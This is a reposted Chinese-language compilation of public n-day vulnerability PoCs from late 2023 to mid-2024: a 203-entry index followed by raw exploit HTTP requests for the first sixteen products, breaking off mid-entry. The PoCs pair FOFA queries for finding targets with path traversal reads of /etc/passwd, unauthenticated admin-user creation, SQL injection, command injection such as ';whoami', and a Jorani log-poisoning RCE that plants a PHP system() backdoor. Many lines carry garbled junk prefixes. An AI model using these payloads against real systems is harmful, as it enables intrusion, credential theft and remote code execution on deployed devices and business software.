互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
# M) Z* C* G: X9 j5 o5 \& ?; e3 U道一安全 2024-06-05 07:41 北京
7 H+ j4 i: b/ {5 I6 [; h& c* H以下文章来源于网络安全新视界 ，作者网络安全新视界
9 f4 t( R$ h" a, x
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
1 j* ~* R1 y% ]4 N. K7 ~
) E9 ^" P$ b% f: c* ~3 \漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

, L0 ?1 J5 ?  C& Z安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
( G; ?8 p5 L! t  ]1 E, O
- N/ J, P6 ?4 p: D% i& f文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
! X0 Q8 q( G  N  w  [9 j
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

" ?5 f& J( ~3 E: ?
( d4 U/ W4 v% q: q; P声明

5 I, g7 B* k8 ?4 s0 D6 x* f4 h为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

( O0 E" T9 p1 _2 y# J6 Y有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

" ^. x1 n% [- @( L* ]/ x
3 o# u' V5 {8 }
1 a& a7 u0 X/ d) k- X" a: F3 n目录

4 g! v1 m, M7 j6 o9 h01

1. StarRocks MPP数据库未授权访问
& D# {" r0 L$ Q# d8 v2. Casdoor系统static任意文件读取
/ f0 R1 l/ B# Q3. EasyCVR智能边缘网关 userlist 信息泄漏
" B+ i" {9 z3 z  z4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
; U! @% r# K) N. a2 |- w' r  Z9. 稻壳CMS keyword 未授权SQL注入
' D) ^- v! B+ W1 x) x10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
+ S' Z: M* U) E' ^% A; N1 `; m$ O% O12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
# p  M- b: K1 [14. 华夏ERP（jshERP）敏感信息泄露
6 E- c6 g. F% {15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
& P6 i' @. W* S, n/ O2 T17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- |5 m5 G& E% W* v5 x" y. }$ [20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 V* {! S' C. U; l9 R23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
; a" c) i- J% p9 D- C25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
. O1 P2 P' P8 @& S% N28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
. T( B6 ?" P* l30. 用友NC importPml SQL注入
  F2 q( \, d) d31. 用友NC runStateServlet SQL注入
2 }) z8 j: W  ], I9 ^. a$ b. Z32. 用友NC complainbilldetail SQL注入
  ?) W" O2 z: N2 G; ?7 t33. 用友NC downTax/download SQL注入
+ o3 `' L% m& ~# B34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
) \) Q$ R4 b$ w2 a36. 用友NC-Cloud soapFormat XXE
& n4 L1 S% M0 ~6 S2 }37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
$ u/ f' N8 ?- x6 I% o39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 {# g: x1 q1 R1 c# K42. 用友GRP-U8 SmartUpload01 文件上传
% T7 l" z0 Z, [$ g6 F% o4 T) {43. 用友GRP-U8 userInfoWeb SQL注入致RCE
, V) G( h: j3 w8 E44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
* X+ b3 m* ?- N' z. E46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 D' g6 A$ W6 |8 [48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
  I$ T# U: q0 ^4 z6 J8 r, B0 k& ?50. QDocs Smart School 6.4.1 filterRecords SQL注入
! w$ g* s8 N$ F. h4 r6 T51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
, y- E/ _1 q6 z52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
0 ~" c+ [: |3 H1 _3 W+ N, ^' z55. 畅捷通T+ getdecallusers信息泄露
% O: ~9 X( A$ n! \56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
" N5 g; i8 W  |* d! \( j% P58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ B! q5 X% a- g+ ^- e" `% d: v62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
$ O  `/ L) \" x6 z64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. d# a# y+ S. X% |9 ?67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
/ v. C6 I, `" H( |( v8 n% D5 ~69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
. r. n+ e( E8 Q' |$ T74. 致远M3-server 6_1sp1 反序列化RCE
& Q2 f! V% V# X7 C' i75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
( {6 }7 {7 K/ k$ L5 |/ X83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
' @1 }, t! K8 E86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
- k. k8 g( A4 |7 M2 ~/ _88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
: Z/ B3 z% Q: b9 H90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
4 `  A4 R  b. K- |91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
, N. F+ n  M  ~8 e( H4 T94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
- q9 B' a8 f- f7 [$ E& R95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. I- R3 w" ^$ z" P& I- ?3 i96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
! M7 `; O" `% z98. SpiderFlow爬虫平台远程命令执行
# ?# S' ?. S/ D$ l1 u99. Ncast盈可视高清智能录播系统busiFacade RCE
8 G- B7 w9 h$ C$ J" u100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
+ y: ]4 r5 Z& L3 e0 \& k; x: p! |, s  F101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
! L3 L% ~/ {  _3 e9 w3 w# c104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
9 L6 s4 q- d  V2 n# H" w3 F105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
9 J, ~' X  a; q0 E' Z) V( v! A& J107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
. K6 ?( ~) \4 N4 V5 y109. Jenkins CLI 任意文件读取
5 I4 S7 j, t" _$ I% m. m110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
. `* I4 d( q0 H113. WordPress Automatic 插件任意文件下载和SSRF
1 U& N/ R* W7 I114. WordPress MasterStudy LMS插件 SQL注入
: g. y  O, N9 B9 e% @3 @0 L; \6 k- y115. WordPress Bricks Builder <= 1.9.6 RCE
; @6 Q# G9 t8 V' D3 p0 E! a6 @116. wordpress js-support-ticket文件上传
6 H3 I- x) x: E7 ?  I9 [117. WordPress LayerSlider插件SQL注入
  `- ]* D0 n3 \, Q! u118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
( e1 d) _) B7 c/ g2 s# c120. 北京百绰智能S40管理平台导入web.php任意文件上传
8 p0 }6 t' l) M' A; U+ z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# j9 Q' }: r& J4 [8 D2 }" P122. 北京百绰智能s200管理平台/importexport.php sql注入
4 t" Z' h$ [/ l, b$ k123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
! Y( A. r8 j  _% s% X* T127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
) T; Z, ^- V+ t129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
: ^% q* ^8 J0 n  J  C* }132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
+ U1 F/ j9 p* N133. H5 云商城 file.php 文件上传
$ \1 U5 H6 Z" {/ \, y134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
5 I0 W, K0 e; y+ f2 k137. 福建科立迅通信指挥调度平台down_file.php sql注入
6 P0 R( M! [/ L  `$ M: i6 O9 I138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
" J& e7 k' `6 W' b9 |! Z: X8 I143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
7 f0 f2 b5 X. B. q( Z145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
  R) q. h1 D/ C. y. F+ z# Y146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
' B' H( z) j$ g) b* r) k7 M148. CrushFTP 认证绕过模板注入
2 D$ k0 _- R! J3 J1 E, x149. AJ-Report开源数据大屏存在远程命令执行
/ f! D* t5 u8 d8 r9 H150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
& _) c# m/ j2 x. q& s8 }% S0 [155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
  x" ^" Y0 d8 J/ a1 Q& _! H8 q157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
& x! U8 d. G  g5 D7 p5 _159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
# s/ L2 Q3 G+ @" Q3 r160. Sonatype Nexus Repository 3目录遍历与文件读取
( g; b" |0 j7 O: m3 a0 W* f161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
6 h2 Z7 O+ g- p  g: x! R; d163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
$ d: ~/ H6 @4 ?164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
2 E  [( ~( w2 D4 R7 r6 G  ~167. 精益价值管理系统 DownLoad.aspx任意文件读取
' @5 d( T2 o$ j3 o168. 宏景EHR OutputCode 任意文件读取
4 \, Z  S" E9 ]169. 宏景EHR downlawbase SQL注入
1 D* {3 k& D6 @. V9 S  z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
  c# C$ ^' X6 [! d3 i- d7 L* l: B171. 通天星CMSV6车载定位监控平台 SQL注入
, O/ H! \% v% f& z4 q172. DT-高清车牌识别摄像机任意文件读取
6 X/ J, \# ?$ Z7 F3 \173. Check Point 安全网关任意文件读取
9 T3 O! d3 @+ F' \: Y3 ?& H0 o, j174. 金和OA C6 FileDownLoad.aspx 任意文件读取
. b' F" G/ K# G/ a( t/ `- B- y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
) V" r" v& d/ Z, w; t8 ~$ M+ p176. 电信网关配置管理系统 rewrite.php 文件上传
7 V9 M. O7 G; K: d6 Z" F4 }0 y177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
- d2 ^* n2 M' Q, ^  b179. 建文工程管理系统存在任意文件读取
9 v  @" |* o- J/ N1 v/ n/ m2 _! B180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
9 @" Z- V7 x# k182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 ]- y1 l& k4 r. ~$ ?: q0 K& g% O+ }. c183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
% Z; ~5 \3 x0 F! x$ a, \& t$ D186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
. P) g& }" ^  ^, F191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& r. X% m5 [  |2 m$ _7 \0 v195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
( s$ F0 n- ]2 O0 X% K  r198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
* b* K! Z& _+ g  h+ w201. 方正全媒体新闻采编系统 binary SQL注入
* e. C% T* H4 v: c202. 微擎系统 AccountEdit任意文件上传
1 j8 v2 _' T3 c/ E' P7 S203. 红海云EHR PtFjk 文件上传
" l1 r" K6 l- j& \6 v
POC列表

02
/ S/ V) Q- |( @, [8 m& p
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
. U6 }% }) F+ y2 V4 x2 F$ F8 DHost: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
6 t' v" T! b- j* i, }Host: xx.xx.xx.xx:9999
* _0 ]6 |2 n5 rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' Y5 O# w# @( ^Connection: close
/ v7 S0 p3 f- M2 aAccept: */*
3 _9 r% `. S% Z5 b0 i- FAccept-Language: en
Accept-Encoding: gzip


4 b$ `: g* B9 r" g3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
+ P7 l& _) q' aGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
# y- L$ d6 B3 R0 D* r2 ^8 }" @

( a7 }4 O8 R; Q: ]: F4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
) I2 A; e% G7 [! A' }, v& V
" S, v) m: j4 Opassword更改为自己的密码md5
* o( h" L* H! a0 jPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
0 G" Q5 |$ G& o7 r2 o1 }
. e  i. _6 |( P  L- P+ P9 S
% H, W3 {) b9 C4 q  t5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
: k3 e' K/ m9 C, a! ~GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
: O1 h& B! f' \, F6 P: o2 k' CHost: xx.xx.xx.xx
( m4 ?5 u- B% X) H$ F! P1 o. f
' W% H3 _+ }  i* m; M( N
* T' u) P: t6 t- p; U! D  F, ~6. 深信服 NGAF 任意文件读取
, ^- g) G% P6 p) n0 mFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
2 ]; X, e4 `' y4 ZHost:
0 L: D8 ]! W9 ]/ O

7. 鸿运主动安全监控云平台任意文件下载
6 @' l& n+ n& `% N: R" QFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
9 h' P8 `# c4 y2 E) N( P" _" w

* }& X' i8 G0 W4 e8. 斐讯 Phicomm 路由器RCE
" [' v" ?) a8 z- S2 n- cFOFA：icon_hash="-1344736688"
' I% W1 W' v; N6 T8 P  \默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
/ A  q3 W) J* t7 l7 ]. [) `Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
* c3 H. \5 B0 M% v6 hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- U% @* b# o! ~' m$ E+ t1 t3 _
------WebKitFormBoundaryxbgjoytz
9 T6 K, u& C7 ~1 d7 P. c7 e0 `  B/ EContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
8 Z% b# L: s4 j5 ]7 F$ VContent-Disposition: form-data; name="wifiRebootrange"
$ i1 w, _+ P0 w2 l3 t
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
$ E0 J5 ^' @' M, M6 `- n
%s:
2 T4 j/ c, A# b) N------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
+ k3 X1 J  L! E( c2 h

------WebKitFormBoundaryxbgjoytz--


, o- }' o# m. o9 b0 i! @9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
, D4 \5 n' B* ]Host: x.x.x.x
9 B( {, i( }1 b5 F6 y
- Y' h( |& i: z( g
payload为下列语句的二次Url编码
8 @! O  q  T5 f8 f
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
4 F0 K0 F+ g6 l) ]
5 T' g; f# u8 ]% }4 ~10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
/ F& z" c2 v6 ?9 nFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
7 ?$ }$ Z+ m5 o1 h% ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
2 q& f9 X, q4 Q. B8 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 A/ u% j; w+ T& Q; p1 F4 v/ m: dConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

: s% h5 I/ R: ?8 ?jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

; _% `: X7 G5 G
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# e3 h! `; k8 U. ]) }; DFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
' R1 S, I' d, l7 G0 j: xGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
" P3 m8 p8 J6 E/ x- cHost: 127.0.0.1
( p8 E- a$ P" x% `2 M# KPragma: no-cache
5 X" e! j( p/ W  KCache-Control: no-cache
' F9 A+ _) V& F. v4 pUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ @' Q( n& _( E; o0 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 |6 c) i( {9 A4 Y+ ^. t; _Accept-Encoding: gzip, deflate
8 R* J* |, X. `0 sAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: I- W4 C/ L' t; G6 o' r

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
5 q! E$ V5 T8 t. _9 r9 [GET /session/login HTTP/1.1
. A# y2 t1 q0 `( Y8 R2 ]Host: 192.168.190.30
$ m! s8 ]% _+ O! h, d( a3 v  W& qUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
6 n1 a( [8 o) S' ]& HAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
: Q3 y; J$ M8 |1 @- D& oContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
4 ?) |- v1 O, W% S. Z2 j' B" R* HExpires: Thu, 19 Nov 1981 08:52:00 GMT
/ t# l. P& X1 h, c$ g, y9 M  T3 qLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
' X( {& h( ]: e' N) ^5 rPragma: no-cache
0 X- |; c$ s' q& a( J! NServer: Apache/2.4.54 (Debian)
7 w) o, N) {! ^* i" r& }/ N+ S& CSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
! r8 g+ ?' ~) w' S; C- ], Z& C: EVary: Accept-Encoding

" `* R4 N) P& \/ i' {' W5 ]
POST请求，执行函数并进行base64编码
1 F) j) o8 `2 i/ k6 Y: l! wPOST /session/login HTTP/1.1
0 V" _4 K  m. b7 T2 R6 x6 ^Host: 192.168.190.30
0 D; q# O2 e+ p$ O4 A& F5 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
2 P  |- {' `/ y2 m% W3 X4 UContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
# c# \- q2 k: i+ _; `3 x! g8 K/ K* a
2 q8 P# ], r$ e+ G& i: xcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

2 a1 Q) h* d( I% y. ]
  T3 s; A2 j& K% ]: ~) v" f2 Q
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
3 E. D, n6 e. q* o& [7 t) t6 pHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
6 K% ]& E7 A" gAccept-Encoding: gzip


$ ^( u5 z  g+ F5 D; E8 |/ X14. 华夏ERP（jshERP）敏感信息泄露
3 _6 v" Z, i; n0 ^FOFA：body="jshERP-boot"
- Q, p( H0 {" z/ `泄露内容包括用户名密码
* l  S8 Y( R9 l! uGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
! [1 C$ W. n* U) S/ ^! I) ]! CConnection: close
" w0 y5 }8 R. W$ k+ z9 iAccept: */*
Accept-Language: en
3 ^6 p9 h6 Z$ n" k$ LAccept-Encoding: gzip
3 Y- p! S6 j; x. d9 ?0 N) e- Y# N$ D
! z6 Z0 B5 @7 ]4 y5 g: l9 {
15. 华夏ERP getAllList信息泄露
% k0 f# {5 g' w/ vCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
  M2 Q: K  g0 \- gGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
) @$ e6 r/ _. _* i; D' m* pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
- `; I0 q0 b( _) VAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
$ K' u- k- w5 \! J) Z& \5 H% UAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
5 ^- k! A4 n1 ]% O5 k* ^' ^# [

! u9 w7 R! j6 g/ y/ b16.  红帆HFOffice医微云SQL注入
( |  u+ J6 b: [$ bFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
